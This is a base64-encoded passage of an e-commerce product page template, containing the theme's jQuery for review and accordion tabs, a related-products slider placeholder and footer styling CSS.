CAgICAgICAgICAgICAgICAgICAgICB9KS5hdHRyKCdzcmMnLCBqc19zcmMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5pdF90YWJzKCR0YWJzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciAkcmV2aWV3X2NvbnRlbnQgPSAkdGFicy5maW5kKCcjdGFiLXJldmlld3MnKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXZpZXdfdGl0bGUxID0gJHRhYnMuZmluZCgnaDJbYXJpYS1jb250cm9scz10YWJfaXRlbS0wXScpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldmlld190aXRsZTIgPSAkdGFicy5maW5kKCdsaVthcmlhLWNvbnRyb2xzPXRhYl9pdGVtLTBdJyk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gZ29SZXZpZXdUYWIodGFyZ2V0KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgcmVjYWxjX3BvcyA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRyZXZpZXdfY29udGVudC5sZW5ndGggJiYgJHJldmlld19jb250ZW50LmNzcygnZGlzcGxheScpID09ICdub25lJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlY2FsY19wb3MgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcmV2aWV3X3RpdGxlMS5sZW5ndGggJiYgJHJldmlld190aXRsZTEuY3NzKCdkaXNwbGF5JykgIT0gJ25vbmUnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV2aWV3X3RpdGxlMS5jbGljaygpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgaWYgKCRyZXZpZXdfdGl0bGUyLmxlbmd0aCAmJiAkcmV2aWV3X3RpdGxlMi5jbG9zZXN0KCd1bCcpLmNzcygnZGlzcGxheScpICE9ICdub25lJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldmlld190aXRsZTIuY2xpY2soKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGRlbGF5ID0gcmVjYWxjX3BvcyA/IDQwMCA6IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uICgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkKCdodG1sLCBib2R5Jykuc3RvcCgpLmFuaW1hdGUoew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzY3JvbGxUb3A6IHRhcmdldC5vZmZzZXQoKS50b3AgLSB0aGVtZS5TdGlja3lIZWFkZXIuc3RpY2t5X2hlaWdodCAtIHRoZW1lLmFkbWluQmFySGVpZ2h0KCkgLSAxNA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sIDYwMCwgJ2Vhc2VPdXRRdWFkJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LCBkZWxheSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBnb0FjY29yZGlvblRhYih0YXJnZXQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBsYWJlbCA9IHRhcmdldC5hdHRyKCdhcmlhLWNvbnRyb2xzJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICR0YWJfY29udGVudCA9ICR0YWJzLmZpbmQoJy5yZXNwLXRhYi1jb250ZW50W2FyaWEtbGFiZWxsZWRieT0iJyArIGxhYmVsICsgJyJdJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0YWJfY29udGVudC5sZW5ndGggJiYgJHRhYl9jb250ZW50LmNzcygnZGlzcGxheScpICE9ICdub25lJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgb2Zmc2V0ID0gdGFyZ2V0Lm9mZnNldCgpLnRvcCAtIHRoZW1lLlN0aWNreUhlYWRlci5zdGlja3lfaGVpZ2h0IC0gdGhlbWUuYWRtaW5CYXJIZWlnaHQoKSAtIDE0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAob2Zmc2V0IDwgJCh3aW5kb3cpLnNjcm9sbFRvcCgpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJCgnaHRtbCwgYm9keScpLnN0b3AoKS5hbmltYXRlKHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzY3JvbGxUb3A6IG9mZnNldA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwgNjAwLCAnZWFzZU91dFF1YWQnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LCA1MDApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gZ28gdG8gcmV2aWV3cywgd3JpdGUgYSByZXZpZXcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJCgnLndvb2NvbW1lcmNlLXJldmlldy1saW5rLCAud29vY29tbWVyY2Utd3JpdGUtcmV2aWV3LWxpbmsnKS5vbignY2xpY2snLCBmdW5jdGlvbiAoZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHRhcmdldCA9ICQodGhpcy5oYXNoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICh0YXJnZXQubGVuZ3RoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ29SZXZpZXdUYWIodGFyZ2V0KTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIE9wZW4gcmV2aWV3IGZvcm0gaWYgYWNjZXNzZWQgdmlhIGFuY2hvcg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAod2luZG93LmxvY2F0aW9uLmhhc2ggPT0gJyNyZXZpZXdfZm9ybScgfHwgd2luZG93LmxvY2F0aW9uLmhhc2ggPT0gJyNyZXZpZXdzJyB8fCB3aW5kb3cubG9jYXRpb24uaGFzaC5pbmRleE9mKCcjY29tbWVudC0nKSAhPSAtMSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHRhcmdldCA9ICQod2luZG93LmxvY2F0aW9uLmhhc2gpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHRhcmdldC5sZW5ndGgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnb1Jldmlld1RhYih0YXJnZXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnMuZmluZCgnaDIucmVzcC1hY2NvcmRpb24nKS5vbignY2xpY2snLCBmdW5jdGlvbiAoZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ29BY2NvcmRpb25UYWIoJCh0aGlzKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pKHdpbmRvdy5qUXVlcnkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHdpbmRvdy50aGVtZSAmJiB0aGVtZS5pc0xvYWRlZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvcnRvX2luaXRfZGVzY190YWIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ2xvYWQnLCBwb3J0b19pbml0X2Rlc2NfdGFiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NjcmlwdD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbWFpbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQoNCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+PCEtLSBlbmQgbWFpbiBjb250ZW50IC0tPg0KDQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNpZGViYXItb3ZlcmxheSI+PC9kaXY+DQoNCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyZWxhdGVkIHByb2R1Y3RzIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgICAgICAgICAgICAgICAgICA8aDIgY2xhc3M9InNsaWRlci10aXRsZSByZWxhdGVkLXByb2R1Y3RzIj5SZWxhdGVkIHByb2R1Y3RzPC9oMj4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzbGlkZXItd3JhcHBlciI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0icHJvZHVjdHMgcHJvZHVjdHMtY29udGFpbmVyIHByb2R1Y3RzLXNsaWRlciBvd2wtY2Fyb3VzZWwgc2hvdy1kb3RzLXRpdGxlLXJpZ2h0IGRvdHMtc3R5bGUtMSBwY29scy1sZy01IHBjb2xzLW1kLTQgcGNvbHMteHMtMyBwY29scy1scy0yIHB3aWR0aC1sZy01IHB3aWR0aC1tZC00IHB3aWR0aC14cy0yIHB3aWR0aC1scy0xIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtcGx1Z2luLW9wdGlvbnM9InsmcXVvdDt0aGVtZUNvbmZpZyZxdW90Ozp0cnVlLCZxdW90O2xnJnF1b3Q7OjUsJnF1b3Q7bWQmcXVvdDs6NCwmcXVvdDt4cyZxdW90OzozLCZxdW90O2xzJnF1b3Q7OjIsJnF1b3Q7ZG90cyZxdW90Ozp0cnVlfSINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhLXByb2R1Y3RfbGF5b3V0PSJwcm9kdWN0LXdxX29uaW1hZ2UiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7ZGV0YWlsX3Byb2R1Y3RfcmVsYXRlZH19DQogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0icG9ydG8tYmxvY2siIGRhdGEtaWQ9IjE3MTIiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+PC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgIDwvZGl2PjwhLS0gZW5kIG1haW4gLS0+DQoNCg0KICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItd3JhcHBlciI+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci10b3AiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQogICAgICAgICAgICAgICAgICAgIDxhc2lkZSBpZD0iYmxvY2std2lkZ2V0LTUiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0LWJsb2NrIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJsb2NrIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3R5bGU+LmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC03M2IzNTZiIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMi4yNWVtIDBlbSAxZW0gMGVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMjQxZjhmNSAucG9ydG8taWNvbiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMzVweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6ICMyMjI1Mjk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNGNEY0RjQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1pY29uIHN2ZyB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGw6ICMyMjI1Mjk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1zaWNvbi1pbWcucG9ydG8tdS1jaXJjbGUtaW1nOmJlZm9yZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI0Y0RjRGNDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTI0MWY4ZjUgLnBvcnRvLXNpY29uLWltZyB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNGNEY0RjQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1pY29uLmFkdmFuY2VkIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDgwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlaWdodDogODBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDgwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0yNDFmOGY1IC5wb3J0by1zaWNvbi10aXRsZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuMmVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMjQxZjhmNSAucG9ydG8tc2ljb24taGVhZGVyIHAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDAuODc1cmVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNTAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogMWVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMjQxZjhmNSAucG9ydG8tc2ljb24tZGVzY3JpcHRpb24gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDAuODEyNXJlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTMxMmFlZTkgLnBvcnRvLWljb24gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDM1cHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjMjIyNTI5Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjRGNEY0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8taWNvbiBzdmcgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaWxsOiAjMjIyNTI5Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8tc2ljb24taW1nLnBvcnRvLXUtY2lyY2xlLWltZzpiZWZvcmUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNGNEY0RjQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0zMTJhZWU5IC5wb3J0by1zaWNvbi1pbWcgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjRGNEY0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8taWNvbi5hZHZhbmNlZCB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiA4MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWlnaHQ6IDgwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiA4MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMzEyYWVlOSAucG9ydG8tc2ljb24tdGl0bGUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDFyZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjJlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTMxMmFlZTkgLnBvcnRvLXNpY29uLWhlYWRlciBwIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAwLjg3NXJlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDFlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTMxMmFlZTkgLnBvcnRvLXNpY29uLWRlc2NyaXB0aW9uIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAwLjgxMjVyZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC05NTA3ZTc1IC5wb3J0by1pY29uIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAzNXB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzIyMjUyOTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI0Y0RjRGNDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTk1MDdlNzUgLnBvcnRvLWljb24gc3ZnIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmlsbDogIzIyMjUyOTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTk1MDdlNzUgLnBvcnRvLXNpY29uLWltZy5wb3J0by11LWNpcmNsZS1pbWc6YmVmb3JlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjRjRGNEY0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItMTc2OSAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtOTUwN2U3NSAucG9ydG8tc2ljb24taW1nIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI0Y0RjRGNDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTk1MDdlNzUgLnBvcnRvLWljb24uYWR2YW5jZWQgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aWR0aDogODBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA4MHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogODBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTE3NjkgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LTk1MDdlNzUgLn